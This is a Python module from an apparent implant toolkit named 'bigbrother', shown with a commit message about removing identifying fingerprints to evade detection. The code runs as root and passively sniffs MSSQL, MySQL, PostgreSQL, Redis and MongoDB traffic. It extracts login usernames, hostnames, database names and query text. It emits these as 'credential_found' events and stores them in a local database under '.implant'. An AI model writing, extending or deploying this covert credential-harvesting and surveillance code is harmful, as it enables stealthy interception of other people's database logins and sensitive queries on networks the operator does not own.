Files
bigbrother/modules/passive/db_interceptor.py
T
Cobra ffd384f64b Strip OPSEC tool identity fingerprints
Replace all sensor.* logger namespaces with __name__ (generic module
identifiers instead of discoverable 'sensor.*' prefixes).

Change hardcoded 'bb' API user to 'admin' in config and code defaults.

Change hardcoded relay_user 'bb' to 'operator' — prevents network
profiling from exposing tool identity via SSH config.

Fixes #457, #458, #459
2026-04-08 22:18:35 -04:00

699 lines
25 KiB
Python

#!/usr/bin/env python3
"""Database protocol interceptor — passive database query and auth monitoring.
Parses login packets and query metadata for:
- MSSQL TDS (1433): TDS7 Login packet, SQL batch text
- MySQL (3306): Handshake, Login Request, COM_QUERY
- PostgreSQL (5432): Startup message, Simple Query
- Redis (6379): AUTH command, key operations
- MongoDB (27017): OP_MSG saslStart, find operations
Logs queries but NOT full result sets to avoid excessive data.
"""
import logging
import os
import socket
import sqlite3
import struct
import threading
import time
from pathlib import Path
from typing import Optional
from modules.base import BaseModule
from utils.credential_encryption import emit_credential_found
logger = logging.getLogger(__name__)
# TDS packet types
TDS_SQL_BATCH = 0x01
TDS_LOGIN7 = 0x10
TDS_PRELOGIN = 0x12
# MySQL commands
MYSQL_COM_QUERY = 0x03
MYSQL_COM_INIT_DB = 0x02
# PostgreSQL message types
PG_STARTUP = 0x00 # No type byte — identified by structure
PG_SIMPLE_QUERY = ord('Q')
PG_PASSWORD = ord('p')
# Redis inline delimiters
REDIS_CRLF = b'\r\n'
# MongoDB opcodes
MONGO_OP_MSG = 2013
_DB_INIT = """
CREATE TABLE IF NOT EXISTS db_queries (
id INTEGER PRIMARY KEY AUTOINCREMENT,
timestamp REAL NOT NULL,
source_ip TEXT NOT NULL,
dest_ip TEXT NOT NULL,
db_type TEXT NOT NULL,
username TEXT DEFAULT '',
database TEXT DEFAULT '',
query_text TEXT DEFAULT '',
operation TEXT NOT NULL
);
CREATE INDEX IF NOT EXISTS idx_dbq_type ON db_queries(db_type);
CREATE INDEX IF NOT EXISTS idx_dbq_user ON db_queries(username);
CREATE INDEX IF NOT EXISTS idx_dbq_ts ON db_queries(timestamp);
"""
FLUSH_INTERVAL = 45
MAX_QUERY_LEN = 2000 # Truncate queries beyond this
class DBInterceptor(BaseModule):
"""Passively intercept database authentication and queries."""
name = "db_interceptor"
module_type = "passive"
priority = 150
requires_root = True
requires_capture_bus = True
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._capture_bus = None
self._sub_queue = None
self._read_thread: Optional[threading.Thread] = None
self._flush_thread: Optional[threading.Thread] = None
self._db_path = self._resolve_db_path()
self._db_conn: Optional[sqlite3.Connection] = None
self._write_buffer: list[tuple] = []
self._buffer_lock = threading.Lock()
self._stats = {
"packets_processed": 0,
"mssql_events": 0,
"mysql_events": 0,
"postgres_events": 0,
"redis_events": 0,
"mongodb_events": 0,
"logins_captured": 0,
"queries_captured": 0,
}
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
self._init_db()
self._capture_bus = self.config.get("_capture_bus")
if self._capture_bus is None:
logger.error("DBInterceptor requires _capture_bus in config")
return
bpf = "port 1433 or port 3306 or port 5432 or port 6379 or port 27017"
self._sub_queue = self._capture_bus.subscribe(
name=self.name, bpf_filter=bpf, queue_depth=5000
)
self._running = True
self._start_time = time.time()
self._pid = os.getpid()
self._read_thread = threading.Thread(
target=self._read_loop, daemon=True, name="sensor-dbi-read"
)
self._read_thread.start()
self._flush_thread = threading.Thread(
target=self._flush_loop, daemon=True, name="sensor-dbi-flush"
)
self._flush_thread.start()
self.state.set_module_status(self.name, "running", pid=self._pid)
self.bus.emit("MODULE_STARTED", {"module": self.name}, source_module=self.name)
logger.info("DBInterceptor started")
def stop(self) -> None:
if not self._running:
return
self._running = False
if self._capture_bus:
self._capture_bus.unsubscribe(self.name)
for t in (self._read_thread, self._flush_thread):
if t and t.is_alive():
t.join(timeout=5.0)
self._flush_buffer()
if self._db_conn:
self._db_conn.close()
self._db_conn = None
self.state.set_module_status(self.name, "stopped")
self.bus.emit("MODULE_STOPPED", {"module": self.name}, source_module=self.name)
logger.info("DBInterceptor stopped — stats: %s", self._stats)
def status(self) -> dict:
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
**self._stats,
}
def configure(self, config: dict) -> None:
self.config.update(config)
# ------------------------------------------------------------------
# Packet processing
# ------------------------------------------------------------------
def _read_loop(self) -> None:
while self._running:
result = self._sub_queue.get(timeout=1.0)
if result is None:
continue
ts, pkt = result
self._stats["packets_processed"] += 1
try:
self._process_packet(pkt, ts)
except Exception:
logger.debug("Error processing DB packet", exc_info=True)
def _process_packet(self, pkt: bytes, ts: float) -> None:
"""Route packet to the correct database parser based on port."""
if len(pkt) < 54:
return
ethertype = struct.unpack("!H", pkt[12:14])[0]
eth_offset = 14
if ethertype == 0x8100:
if len(pkt) < 58:
return
ethertype = struct.unpack("!H", pkt[16:18])[0]
eth_offset = 18
if ethertype != 0x0800:
return
ip_header = pkt[eth_offset:]
if len(ip_header) < 20:
return
ihl = (ip_header[0] & 0x0F) * 4
ip_proto = ip_header[9]
if ip_proto != 6: # TCP only
return
src_ip = socket.inet_ntoa(ip_header[12:16])
dst_ip = socket.inet_ntoa(ip_header[16:20])
if len(ip_header) < ihl + 20:
return
src_port, dst_port = struct.unpack("!HH", ip_header[ihl:ihl + 4])
tcp_data_off = ((ip_header[ihl + 12] >> 4) & 0xF) * 4
payload = ip_header[ihl + tcp_data_off:]
if len(payload) < 4:
return
# Route by destination port (client -> server)
if dst_port == 1433 or src_port == 1433:
self._parse_mssql(payload, src_ip, dst_ip, dst_port == 1433, ts)
elif dst_port == 3306 or src_port == 3306:
self._parse_mysql(payload, src_ip, dst_ip, dst_port == 3306, ts)
elif dst_port == 5432 or src_port == 5432:
self._parse_postgres(payload, src_ip, dst_ip, dst_port == 5432, ts)
elif dst_port == 6379 or src_port == 6379:
self._parse_redis(payload, src_ip, dst_ip, dst_port == 6379, ts)
elif dst_port == 27017 or src_port == 27017:
self._parse_mongodb(payload, src_ip, dst_ip, dst_port == 27017, ts)
# ------------------------------------------------------------------
# MSSQL TDS parser
# ------------------------------------------------------------------
def _parse_mssql(self, payload: bytes, src_ip: str, dst_ip: str,
is_to_server: bool, ts: float) -> None:
"""Parse MSSQL TDS packets."""
if len(payload) < 8:
return
# TDS header: type(1), status(1), length(2), SPID(2), packet(1), window(1)
tds_type = payload[0]
tds_len = struct.unpack("!H", payload[2:4])[0]
if tds_type == TDS_LOGIN7 and is_to_server and len(payload) >= 36:
self._parse_tds_login7(payload[8:], src_ip, dst_ip, ts)
elif tds_type == TDS_SQL_BATCH and is_to_server:
# SQL batch: header group + SQL text (all Unicode LE after 8-byte TDS header)
self._parse_tds_sql_batch(payload[8:], src_ip, dst_ip, ts)
def _parse_tds_login7(self, data: bytes, src_ip: str, dst_ip: str,
ts: float) -> None:
"""Parse TDS7 Login packet for username, hostname, app name."""
if len(data) < 36:
return
self._stats["mssql_events"] += 1
self._stats["logins_captured"] += 1
try:
# TDS7 Login: fixed header of 36 bytes then variable data
# HostName offset(2) + length(2) at offset 8
# UserName offset(2) + length(2) at offset 16
# AppName offset(2) + length(2) at offset 24
# ServerName offset(2) + length(2) at offset 28
# Database offset(2) + length(2) at offset 40 (but we have 36-byte minimum)
hostname_off = struct.unpack("<H", data[8:10])[0]
hostname_len = struct.unpack("<H", data[10:12])[0]
username_off = struct.unpack("<H", data[16:18])[0]
username_len = struct.unpack("<H", data[18:20])[0]
appname_off = struct.unpack("<H", data[24:26])[0]
appname_len = struct.unpack("<H", data[26:28])[0]
# Offsets are in chars (UTF-16LE = 2 bytes per char)
username = self._read_utf16le(data, username_off, username_len)
hostname = self._read_utf16le(data, hostname_off, hostname_len)
appname = self._read_utf16le(data, appname_off, appname_len)
database = ""
if len(data) >= 44:
db_off = struct.unpack("<H", data[40:42])[0]
db_len = struct.unpack("<H", data[42:44])[0]
database = self._read_utf16le(data, db_off, db_len)
self._record_query(
ts, src_ip, dst_ip, "mssql", username, database,
f"LOGIN hostname={hostname} app={appname}", "login"
)
emit_credential_found(self.bus, self.name, {
"source": "mssql_tds_login",
"username": username,
"hostname": hostname,
"source_ip": src_ip,
"dest_ip": dst_ip,
"database": database,
})
except Exception:
logger.debug("Failed to parse TDS Login7", exc_info=True)
def _parse_tds_sql_batch(self, data: bytes, src_ip: str, dst_ip: str,
ts: float) -> None:
"""Parse TDS SQL Batch for query text."""
if len(data) < 4:
return
# TDS SQL Batch: ALL_HEADERS (variable) + SQL text
# ALL_HEADERS starts with TotalLength(4)
total_headers_len = struct.unpack("<I", data[0:4])[0]
if total_headers_len > len(data):
total_headers_len = 0
sql_bytes = data[total_headers_len:]
if not sql_bytes:
return
try:
query = sql_bytes.decode("utf-16-le", errors="replace")
except Exception:
query = sql_bytes.decode("ascii", errors="replace")
query = query.strip('\x00').strip()[:MAX_QUERY_LEN]
if query:
self._stats["mssql_events"] += 1
self._stats["queries_captured"] += 1
self._record_query(ts, src_ip, dst_ip, "mssql", "", "", query, "query")
@staticmethod
def _read_utf16le(data: bytes, char_offset: int, char_length: int) -> str:
"""Read UTF-16LE string from TDS data using char offset/length."""
byte_off = char_offset * 2
byte_len = char_length * 2
if byte_off + byte_len > len(data):
return ""
try:
return data[byte_off:byte_off + byte_len].decode("utf-16-le", errors="replace")
except Exception:
return ""
# ------------------------------------------------------------------
# MySQL parser
# ------------------------------------------------------------------
def _parse_mysql(self, payload: bytes, src_ip: str, dst_ip: str,
is_to_server: bool, ts: float) -> None:
"""Parse MySQL protocol packets."""
if len(payload) < 5:
return
# MySQL packet: length(3 LE) + sequence_id(1) + payload
pkt_len = struct.unpack("<I", payload[0:3] + b'\x00')[0]
seq_id = payload[3]
mysql_data = payload[4:]
if not mysql_data:
return
if not is_to_server:
# Server -> client: check for Handshake (protocol version 10)
if mysql_data[0] == 10 and seq_id == 0:
self._parse_mysql_handshake(mysql_data, src_ip, dst_ip, ts)
return
# Client -> server
cmd = mysql_data[0]
if cmd == MYSQL_COM_QUERY and len(mysql_data) > 1:
query = mysql_data[1:min(len(mysql_data), MAX_QUERY_LEN + 1)].decode(
"utf-8", errors="replace"
)
self._stats["mysql_events"] += 1
self._stats["queries_captured"] += 1
self._record_query(ts, src_ip, dst_ip, "mysql", "", "", query, "query")
elif seq_id == 1 and len(mysql_data) >= 32:
# Login Request (HandshakeResponse)
self._parse_mysql_login(mysql_data, src_ip, dst_ip, ts)
def _parse_mysql_handshake(self, data: bytes, src_ip: str, dst_ip: str,
ts: float) -> None:
"""Parse MySQL server Handshake for version info."""
# Protocol version (1) + server version (null-terminated)
if len(data) < 5:
return
null_idx = data.find(b'\x00', 1)
if null_idx < 0:
return
server_version = data[1:null_idx].decode("ascii", errors="replace")
self._stats["mysql_events"] += 1
# Record as informational
self._record_query(
ts, dst_ip, src_ip, "mysql", "", "",
f"SERVER_HANDSHAKE version={server_version}", "handshake"
)
def _parse_mysql_login(self, data: bytes, src_ip: str, dst_ip: str,
ts: float) -> None:
"""Parse MySQL Login Request (HandshakeResponse41)."""
if len(data) < 32:
return
try:
# Client capabilities (4 bytes), max packet (4), charset (1),
# reserved (23 bytes), username (null-terminated)
username_start = 32
null_idx = data.find(b'\x00', username_start)
if null_idx < 0:
return
username = data[username_start:null_idx].decode("utf-8", errors="replace")
# After username + null + auth data, there may be a database name
database = ""
# Skip auth response length + data
pos = null_idx + 1
if pos < len(data):
auth_len = data[pos]
pos += 1 + auth_len
if pos < len(data):
db_null = data.find(b'\x00', pos)
if db_null > pos:
database = data[pos:db_null].decode("utf-8", errors="replace")
self._stats["mysql_events"] += 1
self._stats["logins_captured"] += 1
self._record_query(ts, src_ip, dst_ip, "mysql", username, database, "", "login")
emit_credential_found(self.bus, self.name, {
"source": "mysql_login",
"username": username,
"database": database,
"source_ip": src_ip,
"dest_ip": dst_ip,
})
except Exception:
logger.debug("Failed to parse MySQL login", exc_info=True)
# ------------------------------------------------------------------
# PostgreSQL parser
# ------------------------------------------------------------------
def _parse_postgres(self, payload: bytes, src_ip: str, dst_ip: str,
is_to_server: bool, ts: float) -> None:
"""Parse PostgreSQL protocol messages."""
if not is_to_server or len(payload) < 8:
return
# Check for Startup Message: length(4) + protocol_version(4)
# Protocol version 3.0 = 0x00030000
if len(payload) >= 8:
msg_len = struct.unpack("!I", payload[0:4])[0]
proto_ver = struct.unpack("!I", payload[4:8])[0]
if proto_ver == 0x00030000 and msg_len > 8:
# Startup message: parse key=value pairs
self._parse_pg_startup(payload[8:msg_len], src_ip, dst_ip, ts)
return
# Simple Query: type='Q' + length(4) + query_string
if payload[0] == PG_SIMPLE_QUERY and len(payload) >= 6:
query_len = struct.unpack("!I", payload[1:5])[0]
query = payload[5:min(5 + query_len - 1, 5 + MAX_QUERY_LEN)].decode(
"utf-8", errors="replace"
).rstrip('\x00')
if query:
self._stats["postgres_events"] += 1
self._stats["queries_captured"] += 1
self._record_query(ts, src_ip, dst_ip, "postgres", "", "", query, "query")
def _parse_pg_startup(self, data: bytes, src_ip: str, dst_ip: str,
ts: float) -> None:
"""Parse PostgreSQL Startup Message key-value pairs."""
username = ""
database = ""
pos = 0
while pos < len(data) - 1:
null_idx = data.find(b'\x00', pos)
if null_idx < 0:
break
key = data[pos:null_idx].decode("utf-8", errors="replace")
pos = null_idx + 1
val_null = data.find(b'\x00', pos)
if val_null < 0:
break
value = data[pos:val_null].decode("utf-8", errors="replace")
pos = val_null + 1
if key == "user":
username = value
elif key == "database":
database = value
if not key: # Terminal null
break
if username:
self._stats["postgres_events"] += 1
self._stats["logins_captured"] += 1
self._record_query(ts, src_ip, dst_ip, "postgres", username, database, "", "login")
emit_credential_found(self.bus, self.name, {
"source": "postgres_startup",
"username": username,
"database": database,
"source_ip": src_ip,
"dest_ip": dst_ip,
})
# ------------------------------------------------------------------
# Redis parser
# ------------------------------------------------------------------
def _parse_redis(self, payload: bytes, src_ip: str, dst_ip: str,
is_to_server: bool, ts: float) -> None:
"""Parse Redis RESP protocol for AUTH commands and key operations."""
if not is_to_server or len(payload) < 3:
return
# RESP: commands start with * (array) followed by count
if payload[0:1] == b'*':
args = self._parse_resp_array(payload)
if not args:
return
cmd = args[0].upper() if args else ""
if cmd == "AUTH":
# AUTH [username] password
password = args[-1] if len(args) >= 2 else ""
username = args[1] if len(args) >= 3 else ""
self._stats["redis_events"] += 1
self._stats["logins_captured"] += 1
self._record_query(ts, src_ip, dst_ip, "redis", username, "", "AUTH ***", "login")
emit_credential_found(self.bus, self.name, {
"source": "redis_auth",
"username": username,
"source_ip": src_ip,
"dest_ip": dst_ip,
})
elif cmd in ("GET", "SET", "HGET", "HSET", "DEL", "KEYS",
"MGET", "MSET", "LPUSH", "RPUSH", "SADD", "ZADD"):
query = " ".join(args[:3]) # Command + first 2 args max
self._stats["redis_events"] += 1
self._stats["queries_captured"] += 1
self._record_query(
ts, src_ip, dst_ip, "redis", "", "",
query[:MAX_QUERY_LEN], "query"
)
def _parse_resp_array(self, data: bytes) -> list:
"""Parse a RESP array into a list of string arguments."""
args = []
lines = data.split(REDIS_CRLF)
if not lines or not lines[0].startswith(b'*'):
return args
try:
count = int(lines[0][1:])
except ValueError:
return args
idx = 1
while len(args) < count and idx < len(lines) - 1:
if lines[idx].startswith(b'$'):
try:
str_len = int(lines[idx][1:])
except ValueError:
break
idx += 1
if idx < len(lines):
args.append(lines[idx].decode("utf-8", errors="replace")[:MAX_QUERY_LEN])
idx += 1
else:
# Inline format
args.append(lines[idx].decode("utf-8", errors="replace"))
idx += 1
return args
# ------------------------------------------------------------------
# MongoDB parser
# ------------------------------------------------------------------
def _parse_mongodb(self, payload: bytes, src_ip: str, dst_ip: str,
is_to_server: bool, ts: float) -> None:
"""Parse MongoDB wire protocol for auth and find operations."""
if len(payload) < 16:
return
# MongoDB wire protocol header: length(4 LE) + requestID(4) + responseTo(4) + opCode(4)
msg_len = struct.unpack("<I", payload[0:4])[0]
opcode = struct.unpack("<I", payload[12:16])[0]
if opcode != MONGO_OP_MSG or len(payload) < 21:
return
if not is_to_server:
return
# OP_MSG: flagBits(4) + sections
# Section kind 0: body (BSON document)
sections_start = 20
if sections_start >= len(payload):
return
section_kind = payload[sections_start]
if section_kind != 0:
return
bson_data = payload[sections_start + 1:]
if len(bson_data) < 5:
return
# Minimal BSON parsing: look for command keys
bson_str = bson_data.decode("utf-8", errors="replace")
if "saslStart" in bson_str or "authenticate" in bson_str:
self._stats["mongodb_events"] += 1
self._stats["logins_captured"] += 1
# Extract mechanism if visible
mechanism = ""
if "SCRAM-SHA" in bson_str:
mechanism = "SCRAM-SHA"
elif "PLAIN" in bson_str:
mechanism = "PLAIN"
self._record_query(
ts, src_ip, dst_ip, "mongodb", "", "",
f"AUTH mechanism={mechanism}", "login"
)
elif "find" in bson_str or "aggregate" in bson_str or "insert" in bson_str:
# Extract collection name heuristically
operation = "find" if "find" in bson_str else ("aggregate" if "aggregate" in bson_str else "insert")
self._stats["mongodb_events"] += 1
self._stats["queries_captured"] += 1
self._record_query(
ts, src_ip, dst_ip, "mongodb", "", "",
f"{operation} (BSON)", "query"
)
# ------------------------------------------------------------------
# Database
# ------------------------------------------------------------------
def _resolve_db_path(self) -> str:
base = self.config.get("db_dir", os.path.join(
os.path.expanduser("~"), ".implant"
))
return os.path.join(base, "db_interceptor.db")
def _init_db(self) -> None:
Path(self._db_path).parent.mkdir(parents=True, exist_ok=True)
self._db_conn = sqlite3.connect(self._db_path, check_same_thread=False)
self._db_conn.execute("PRAGMA journal_mode=WAL")
self._db_conn.execute("PRAGMA synchronous=NORMAL")
self._db_conn.executescript(_DB_INIT)
self._db_conn.commit()
def _record_query(self, ts: float, src_ip: str, dst_ip: str,
db_type: str, username: str, database: str,
query_text: str, operation: str) -> None:
with self._buffer_lock:
self._write_buffer.append((
ts, src_ip, dst_ip, db_type, username, database,
query_text[:MAX_QUERY_LEN], operation
))
def _flush_buffer(self) -> None:
with self._buffer_lock:
batch = list(self._write_buffer)
self._write_buffer.clear()
if not batch or not self._db_conn:
return
try:
with self._db_conn:
self._db_conn.executemany(
"""INSERT INTO db_queries
(timestamp, source_ip, dest_ip, db_type, username,
database, query_text, operation)
VALUES (?, ?, ?, ?, ?, ?, ?, ?)""",
batch,
)
except Exception:
logger.exception("Failed to flush DB queries")
def _flush_loop(self) -> None:
while self._running:
time.sleep(FLUSH_INTERVAL)
try:
self._flush_buffer()
except Exception:
logger.exception("Flush loop error")